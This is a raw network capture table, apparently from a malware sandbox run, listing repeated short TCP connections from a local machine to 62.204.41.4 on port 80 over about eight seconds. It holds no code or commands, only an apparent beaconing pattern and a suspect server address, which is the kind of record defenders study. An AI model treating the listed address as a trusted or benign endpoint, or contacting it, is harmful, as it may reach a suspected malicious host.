Feb 6, 2023 14:19:11.318406105 CET	50217	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.319552898 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.380096912 CET	80	50217	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.380172968 CET	50217	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.381165981 CET	80	50218	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.381278038 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.381608963 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.443145037 CET	80	50218	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.446054935 CET	80	50218	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.446212053 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.558145046 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.558928967 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.619997978 CET	80	50218	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.621103048 CET	80	50219	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.621304035 CET	50218	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.621345997 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.621916056 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.684397936 CET	80	50219	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.687207937 CET	80	50219	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.687397003 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.795675993 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.796350956 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.857949018 CET	80	50220	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.858000040 CET	80	50219	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.858237028 CET	50219	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.858797073 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.858797073 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.920233965 CET	80	50220	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.924299955 CET	80	50220	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.927799940 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.041743040 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.042479992 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.101701021 CET	80	50221	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.103224993 CET	80	50220	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.103425980 CET	50220	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.104837894 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.104837894 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.164127111 CET	80	50221	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.170964956 CET	80	50221	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.173602104 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.275899887 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.277143002 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.335326910 CET	80	50221	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.336463928 CET	80	50222	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.336632967 CET	50221	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.336672068 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.337101936 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.396338940 CET	80	50222	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.400702000 CET	80	50222	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.403724909 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.511375904 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.512166977 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.570771933 CET	80	50222	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.571559906 CET	80	50223	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.571707010 CET	50222	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.571746111 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.572504044 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.632580996 CET	80	50223	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.636516094 CET	80	50223	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.636696100 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.770126104 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.770948887 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.830373049 CET	80	50223	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.830621958 CET	50223	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.833373070 CET	80	50224	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.833606005 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.834481955 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:12.896965027 CET	80	50224	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.900197983 CET	80	50224	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:12.900336027 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.010338068 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.011194944 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.071836948 CET	80	50225	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.071973085 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.073013067 CET	80	50224	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.073060989 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.073097944 CET	50224	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.133991957 CET	80	50225	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.140642881 CET	80	50225	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.140898943 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.244842052 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.245690107 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.305468082 CET	80	50225	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.305666924 CET	50225	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.307367086 CET	80	50226	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.307513952 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.307960033 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.369458914 CET	80	50226	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.373641014 CET	80	50226	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.373857021 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.479648113 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.484760046 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.541876078 CET	80	50226	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.542584896 CET	50226	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.544352055 CET	80	50227	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.544537067 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.545015097 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.604593039 CET	80	50227	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.608417034 CET	80	50227	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.608547926 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.717015028 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.718290091 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.776716948 CET	80	50227	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.776823044 CET	50227	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.780766010 CET	80	50228	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.780953884 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.781549931 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.843877077 CET	80	50228	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.847825050 CET	80	50228	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:13.848026991 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.963879108 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:13.964576960 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.024205923 CET	80	50229	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.024322987 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.024749994 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.026307106 CET	80	50228	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.026381969 CET	50228	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.084294081 CET	80	50229	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.089824915 CET	80	50229	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.089921951 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.197875977 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.198739052 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.257551908 CET	80	50229	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.257693052 CET	50229	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.259342909 CET	80	50230	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.259510040 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.260159016 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.320748091 CET	80	50230	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.326316118 CET	80	50230	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.326647043 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.441436052 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.442356110 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.505348921 CET	80	50231	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.505384922 CET	80	50230	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.505590916 CET	50230	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.505712986 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.506548882 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.567112923 CET	80	50231	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.571222067 CET	80	50231	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.571419954 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.687411070 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.688735962 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.748217106 CET	80	50231	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.749021053 CET	80	50232	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.749196053 CET	50231	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.749268055 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.756016016 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.817076921 CET	80	50232	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.823223114 CET	80	50232	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.824412107 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.935731888 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.936695099 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.996278048 CET	80	50232	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.996464014 CET	50232	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:14.999247074 CET	80	50233	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:14.999850988 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.000211954 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.062627077 CET	80	50233	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.083638906 CET	80	50233	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.083945990 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.198168039 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.199048042 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.260390043 CET	80	50234	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.260653973 CET	80	50233	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.260817051 CET	50233	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.263904095 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.265930891 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.327347994 CET	80	50234	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.331311941 CET	80	50234	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.331430912 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.449963093 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.451117992 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.511429071 CET	80	50234	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.512312889 CET	80	50235	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.512358904 CET	50234	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.512474060 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.519092083 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.581948996 CET	80	50235	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.585570097 CET	80	50235	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.587949991 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.698405981 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.699130058 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.759939909 CET	80	50235	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.760050058 CET	50235	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.761478901 CET	80	50236	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.761581898 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.762067080 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.824362040 CET	80	50236	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.827687025 CET	80	50236	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:15.827852011 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.952301025 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:15.954051971 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.014823914 CET	80	50236	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.015055895 CET	50236	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.016422987 CET	80	50237	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.016624928 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.017119884 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.079469919 CET	80	50237	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.085264921 CET	80	50237	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.085468054 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.207809925 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.208584070 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.270180941 CET	80	50238	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.270410061 CET	80	50237	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.270461082 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.270522118 CET	50237	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.271311998 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.332859993 CET	80	50238	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.337477922 CET	80	50238	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.337625980 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.448304892 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.449040890 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.509599924 CET	80	50239	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.509849072 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.509887934 CET	80	50238	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.509972095 CET	50238	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.511065006 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.572138071 CET	80	50239	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.574798107 CET	80	50239	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.574878931 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.682877064 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.683631897 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.743426085 CET	80	50239	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.743534088 CET	50239	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.745031118 CET	80	50240	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.745126963 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.745452881 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.806788921 CET	80	50240	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.811587095 CET	80	50240	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.811683893 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.935195923 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.936429977 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.996691942 CET	80	50240	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.996776104 CET	50240	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.998264074 CET	80	50241	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:16.998351097 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:16.998707056 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.060481071 CET	80	50241	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.066359997 CET	80	50241	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.066495895 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.183320999 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.183340073 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.244304895 CET	80	50242	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.244568110 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.244961977 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.245085955 CET	80	50241	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.245167971 CET	50241	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.305691004 CET	80	50242	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.309746027 CET	80	50242	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.309860945 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.418657064 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.419601917 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.479476929 CET	80	50242	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.479684114 CET	50242	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.481839895 CET	80	50243	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.482007980 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.486099958 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.548367977 CET	80	50243	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.552581072 CET	80	50243	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.552656889 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.667304039 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.668296099 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.728832006 CET	80	50244	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.728992939 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.729582071 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.729715109 CET	80	50243	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.729782104 CET	50243	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.789999962 CET	80	50244	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.794356108 CET	80	50244	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.798122883 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.901667118 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.902604103 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.962307930 CET	80	50244	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.962517023 CET	50244	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.964046955 CET	80	50245	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:17.964917898 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:17.964917898 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.026509047 CET	80	50245	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.029665947 CET	80	50245	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.034617901 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.135500908 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.136148930 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.197141886 CET	80	50245	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.197770119 CET	80	50246	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.197931051 CET	50245	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.197985888 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.198358059 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.259826899 CET	80	50246	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.267981052 CET	80	50246	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.270122051 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.385893106 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.386611938 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.447521925 CET	80	50246	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.447904110 CET	80	50247	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.448035955 CET	50246	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.448071003 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.456525087 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.518029928 CET	80	50247	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.521711111 CET	80	50247	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.521907091 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.640186071 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.640824080 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.701410055 CET	80	50248	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.701564074 CET	80	50247	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.701630116 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.701687098 CET	50247	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.703803062 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.764962912 CET	80	50248	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.769320965 CET	80	50248	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.769452095 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.886457920 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.887789011 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.947295904 CET	80	50248	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.947475910 CET	50248	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.949084997 CET	80	50249	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:18.949222088 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:18.949647903 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.010977983 CET	80	50249	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.013935089 CET	80	50249	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.014077902 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.120429993 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.121177912 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.181969881 CET	80	50249	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.182054043 CET	50249	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.183662891 CET	80	50250	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.184250116 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.184250116 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.247387886 CET	80	50250	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.252294064 CET	80	50250	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.252451897 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.354912043 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.355989933 CET	50251	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.417593956 CET	80	50250	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.417854071 CET	50250	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.418535948 CET	80	50251	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.418768883 CET	50251	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.419157028 CET	50251	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:19.481676102 CET	80	50251	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.485268116 CET	80	50251	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:19.485522032 CET	50251	80	192.168.2.5	62.204.41.4
